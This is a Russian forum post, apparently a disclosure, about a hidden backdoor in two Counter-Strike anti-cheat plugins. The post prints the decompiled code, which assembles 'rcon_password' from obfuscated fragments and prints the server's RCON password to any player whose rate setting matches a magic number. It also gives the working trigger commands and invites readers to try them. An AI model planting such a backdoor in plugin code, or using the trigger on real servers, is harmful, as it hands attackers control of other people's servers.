Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 DetectЗдравствуйте уважаемые посетители c-s.net.ua. Сегодня я сделал интересное открытие по поводу двух античитерских плагинов от
автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final.
Начну пожалуй с плагина определения OpenGL32 Hack'ов. Как-то меня попросили на форуме отлучить этот плагин от модуля MySql, я в свою очередь конечно же согласился. Понятное дело чтобы это можно было сделать, требовалось получить исходный код, которого нет на паблике. Вооружившись некоторыми деасамблирующими программами я обратил внимание на вот такие строки:
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
Если немного перемешать и где-то сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:
мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate
Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1
Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )
Теперь функция c_check_opengl32 (она вызывается после захода игрока):
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123
- Код:
-
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента
setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль!
Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая
ситуация. Так же присутствуют:
new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"
Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )
Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )
Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
- Код:
-
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123
{ // Если одинаковы
format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
get_cvar_string(g_r,g_ss,47) // Получаем пароль
client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
И опять же если не верите, пропишите в консоли клиента
setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль!
- Взято от суда: